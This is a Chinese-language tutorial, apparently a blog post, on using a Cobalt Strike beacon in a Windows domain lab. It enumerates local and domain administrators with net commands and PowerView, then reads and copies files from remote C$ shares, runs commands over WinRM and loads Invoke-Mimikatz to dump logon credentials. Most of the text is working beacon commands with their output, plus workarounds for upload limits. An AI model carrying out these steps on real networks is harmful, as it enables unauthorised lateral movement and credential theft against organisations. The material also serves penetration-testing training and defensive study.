0x00 前言 用户枚举的三个关键步骤:
1、当前账号是否为管理员账号?
2、哪些账号是域管理员账号?
3、哪个账号是这个系统上的本地管理员账号?
0x01 管理员账号 第一个关键步骤,发现管理员账号。
如果想知道自己是否为管理员账号,可以尝试运行一些只有管理员账号才有权限操作的命令,然后通过返回结果判断是否为管理员。
其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表,比如下面的 dir \\host\C$
命令,如果可以看到一个文件列表,那么说明可能拥有本地管理员权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 beacon> shell dir \\WIN-P26AK33U871 \C$ [*] Tasked beacon to run: dir \\WIN-P26AK33U871 \C$ [+] host called home, sent: 55 bytes [+] received output: 驱动器 \\WIN-P26AK33U871 \C$ 中的卷没有标签。 卷的序列号是 F269-89A7 \\WIN-P26AK33U871 \C$ 的目录 2020 /06 /24 09 :29 <DIR > inetpub2009 /07 /14 11 :20 <DIR > PerfLogs2020 /07 /16 21 :24 <DIR > Program Files2020 /07 /16 21 :52 <DIR > Program Files (x86)2020 /07 /17 23 :00 <DIR > Users2020 /07 /26 00 :55 <DIR > Windows 0 个文件 0 字节 6 个目录 28 ,500 ,807 ,680 可用字节
1 2 3 4 5 6 beacon> shell dir \\WIN-72A8ERDSF2P \C$ [*] Tasked beacon to run: dir \\WIN-72A8ERDSF2P \C$ [+] host called home, sent: 55 bytes [+] received output: 拒绝访问。
也可以运行其他命令,比如运行下面的 at
命令来查看系统上的计划任务列表,如果显示出了任务列表信息,那么可能是本地管理员。(当任务列表没有信息时会返回 “列表是空的” 提示)
1 2 3 4 5 6 7 8 beacon> shell at \\WIN-P2AASSD1AF1 [*] Tasked beacon to run: at \\WIN-P2AASSD1AF1 [+] host called home, sent: 51 bytes [+] received output: 状态 ID 日期 时间 命令行 ------------------------------------------------------------------------------- 1 今天 22 :30 E:\Install\Thunder\Thunder.exe
1 2 3 4 5 6 beacon> shell at \\WIN-72A8ERDSF2P [*] Tasked beacon to run: at \\WIN-72A8ERDSF2P [+] host called home, sent: 51 bytes [+] received output: 拒绝访问。
在上一节讲述的 PowerView
有很多很好的自动操作来帮助解决这些问题。可以在加载 PowerView
后,运行下面的命令,通过 PowerView
可以快速找到管理员账号。
1 powershell Find-LocalAdminAccess
1 2 3 4 5 6 7 8 9 beacon> powershell-import powerview.ps1 [*] Tasked beacon to import: powerview.ps1 [+] host called home, sent: 101224 bytes beacon> powershell Find-LocalAdminAccess [*] Tasked beacon to run: Find-LocalAdminAccess [+] host called home, sent: 329 bytes [+] received output: WIN-P26AK33U871 .teamssix.com
0x02 域管理员账号 第二个关键步骤,发现域管理员账号。
列出域管理员 对于发现域管理员账号,可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。
1 2 net group "enterprise admins" /DOMAIN net group "domain admins" /DOMAIN
1 2 3 4 5 6 7 8 9 10 beacon> shell net group "enterprise admins" /domain [*] Tasked beacon to run: net group "enterprise admins" /domain [+] host called home, sent: 68 bytes [+] received output: 组名 Enterprise Admins 注释 企业的指定系统管理员 成员 ------------------------------------------------------------------------------- Administrator 命令成功完成。
1 2 3 4 5 6 7 8 9 10 beacon> shell net group "domain admins" /domain [*] Tasked beacon to run: net group "domain admins" /domain [+] host called home, sent: 64 bytes [+] received output: 组名 Domain Admins 注释 指定的域管理员 成员 ------------------------------------------------------------------------------- Administrator 命令成功完成。
或者运行下面的命令来看谁是域控制器上的管理员
1 net localgroup "administrators" /DOMAIN
1 2 3 4 5 6 7 8 9 10 11 12 13 beacon> shell net localgroup "administrators" /domain [*] Tasked beacon to run: net localgroup "administrators" /domain [+] host called home, sent: 70 bytes [+] received output: 别名 administrators 注释 管理员对计算机/域有不受限制的完全访问权 成员 ------------------------------------------------------------------------------- administrator Domain Admins Daniel Enterprise Admins 命令成功完成。
net 模块 beacon 的 net 模块也可以帮助我们,下面的命令中 TARGET
的意思是一个域控制器或者是任何想查看的组名,比如企业管理员、域管理员等等
1 net group \\TARGET group name
也可以运行下面的命令,这会连接任意目标来获取列表
1 net localgroup \\TARGET group name
0x03 本地管理员 net 模块 本地管理员可能是一个域账户,因此如果想把一个系统作为目标,应该找到谁是这个系统的本地管理员,因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户。
beacon 的 net 模块可以在系统上从一个没有特权的关联中查询本地组和用户。
在 beacon 控制台中运行下面命令可以获得一个目标上的群组列表
如果想获取群组的列表,可运行下面的命令来获得一个群组成员的名单列表。
1 net localgroup \\TARGET group name
1 2 3 4 5 6 7 8 9 beacon> net localgroup \\WIN-P26AK33U871 administrators [*] Tasked beacon to run net localgroup administrators on WIN-P26AK33U871 [+] host called home, sent: 104510 bytes [+] received output: Members of administrators on \\WIN-P26AK33U871 : TEAMSSIX\Administrator TEAMSSIX\Daniel TEAMSSIX\Enterprise Admins TEAMSSIX\Domain Admins
PowerView 模块 PowerView 使用下面的命令能够在一个主机上找到本地管理员,这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来。
1 Get-Netlocalgroup -hostname TARGET
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 beacon> powershell Get-Netlocalgroup -Hostname WIN-P26AK33U871 [*] Tasked beacon to run: Get-Netlocalgroup -Hostname WIN-P26AK33U871 [+] host called home, sent: 385 bytes [+] received output: ComputerName : WIN-P26AK33U871 AccountName : teamssix.com/Administrator IsDomain : True IsGroup : False SID : S-1 -5 -22 -3301978333 -983314215 -684642015 -500 Description : Disabled : LastLogin : 2020 /8 /17 22 :21 :23 PwdLastSet : PwdExpired : UserFlags : ComputerName : WIN-P26AK33U871 AccountName : teamssix.com/Daniel ……内容过多,余下部分省略……
0x04 无需恶意软件 如果一个系统信任我们为本地管理员权限,那么我们可以在那个系统上干什么呢?
1、查看共享文件 比如我们可以通过运行下面的命令来列出 C:\foo 的共享文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 beacon> shell dir \\WIN-P2AASSD1AF1 \C$ [*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1 \C$ [+] host called home, sent: 55 bytes [+] received output: 驱动器 \\WIN-P2AASSD1AF1 \C$ 中的卷没有标签。 卷的序列号是 F269-89A7 \\WIN-P2AASSD1AF1 \C$ 的目录 2020 /06 /24 09 :29 <DIR > inetpub2009 /07 /14 11 :20 <DIR > PerfLogs2020 /07 /16 21 :24 <DIR > Program Files2020 /07 /16 21 :52 <DIR > Program Files (x86)2020 /07 /17 23 :00 <DIR > Users2020 /07 /26 00 :55 <DIR > Windows 0 个文件 0 字节 6 个目录 28 ,500 ,393 ,984 可用字节
2、复制文件 比如运行下面的命令将 secrets.txt
文件复制到当前目录。
1 shell copy \\host\C$ \foo\secrets.txt
1 2 3 4 5 beacon> shell copy \\WIN-P2AASSD1AF1 \C$ \foo\secrets.txt [*] Tasked beacon to run: copy \\WIN-P2AASSD1AF1 \C$ \foo\secrets.txt [+] host called home, sent: 93 bytes [+] received output: 已复制 1 个文件。
3、查看文件列表 比如运行下面的命令。其中 /S 表示列出指定目录及子目录所有文件,/B 表示使用空格式,即没有标题或摘要信息。
1 shell dir /S /B \\host\C$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 beacon> shell dir /S /B \\WIN-P2AASSD1AF1 \C$ \Users [*] Tasked beacon to run: dir /S /B \\WIN-P2AASSD1AF1 \C$ \Users [+] host called home, sent: 67 bytes [+] received output: \\WIN-P2AASSD1AF1 \C$ \Users\administrator \\WIN-P2AASSD1AF1 \C$ \Users\Classic .NET AppPool \\WIN-P2AASSD1AF1 \C$ \Users\Daniel \\WIN-P2AASSD1AF1 \C$ \Users\Public \\WIN-P2AASSD1AF1 \C$ \Users\administrator\Contacts \\WIN-P2AASSD1AF1 \C$ \Users\administrator\Desktop \\WIN-P2AASSD1AF1 \C$ \Users\administrator\Documents \\WIN-P2AASSD1AF1 \C$ \Users\administrator\Downloads \\WIN-P2AASSD1AF1 \C$ \Users\administrator\Favorites ……内容过多,余下部分省略……
4、使用 WinRM 运行命令 WinRM 运行在 5985 端口上,WinRM 是 Windows 远程管服务,使用 WinRM 可以使远程管理更容易一些。
如果想利用 WinRM 运行命令则可以使用下面的命令。
1 powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}
1 2 3 4 5 6 7 8 9 10 11 12 13 beacon> powershell Invoke-Command -ComputerName WIN-P2AASSD1AF1 -ScriptBlock { net localgroup administrators} [*] Tasked beacon to run: Invoke-Command -ComputerName WIN-P2AASSD1AF1 -ScriptBlock { net localgroup administrators} [+] host called home, sent: 303 bytes [+] received output: 别名 administrators 注释 管理员对计算机/域有不受限制的完全访问权 成员 ------------------------------------------------------------------------------- Administrator Domain Admins Daniel Enterprise Admins 命令成功完成。
注:如果命令运行失败可能是因为 WinRM 配置原因,可在 powershell 环境下运行 winrm quickconfig
命令,输入 y
回车即可。
命令运行后的结果,WinRM 也将通过命令行进行显示,因此可以使用 Powershell 的 Invoke 命令来作为远程工具,而不使用其他的恶意软件来控制系统。
5、通过 WinRM 运行 Mimikatz 更进一步,甚至可以使用 PowerSploit 来通过 WinRM 运行 Mimikatz,只需要先导入 Invoke-Mimikatz.ps1 文件,再执行以下命令即可。
1 2 powershell-import /path/to/Invoke-Mimikatz .ps1 powershell Invoke-Mimikatz -ComputerName TARGET
注:之前提了很多次的 PowerView 也是 PowerSploit 项目里众多 ps1 文件之一,Mimikatz 的 ps1 文件在 PowerSploit 项目的 Exfiltration 目录下,PowerSploit 项目下载地址:https://github.com/PowerShellMafia/PowerSploit/
因为 beacon 上传文件大小限制在1MB,而 Invoke-Mimikatz.ps1 文件大小在 2 MB 多,因此直接运行 powershell-import
导入该文件会报错,这里可以选择使用 beacon 中的 upload 命令或者在当前会话的 File Browser 图形界面中上传该文件。
1 upload C:\path\Invoke-Mimikatz .ps1
上传之后通过 dir 命令可以查看到文件被上传到了C盘下,之后可以运行以下命令来导入该文件。
1 powershell import-module C:\Invoke-Mimikatz .ps1
最后再运行以下命令就能通过 WinRM 执行 Mimikatz 了。
1 powershell Invoke-Mimikatz -ComputerName TARGET
如果提示无法将“Invoke-Mimikatz”项识别为 cmdlet、函数……
,则可以将两条命令以分号合并在一起运行,即:
1 powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 beacon> powershell import-module C:\Invoke-Mimikatz .ps1 ; Invoke-Mimikatz -ComputerName WIN-P2AASSD1AF1 [*] Tasked beacon to run: import-module C:\Invoke-Mimikatz .ps1 ; Invoke-Mimikatz -ComputerName WIN-P2AASSD1AF1 [+] host called home, sent: 287 bytes [+] received output: . . '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) Authentication Id : 0 ; 314628 (00000000 :0004 cd04) Session : Interactive from 1 User Name : administrator Domain : TEAMSSIX Logon Server : WIN-P2AASSD1AF1 Logon Time : 2020 /8 /20 23 :53 :08 SID : S-1 -5 -22 -3301978333 -983314215 -684642015 -500 msv : [00000003 ] Primary * Username : Administrator ……内容过多,余下部分省略……
终于把碰到的坑都填完了,睡觉……
参考链接:
https://blog.51cto.com/simeon/2126106
https://www.bilibili.com/video/BV16b411i7n5
https://blog.csdn.net/hnjztyx/article/details/52910478
更多信息欢迎关注我的微信公众号:TeamsSix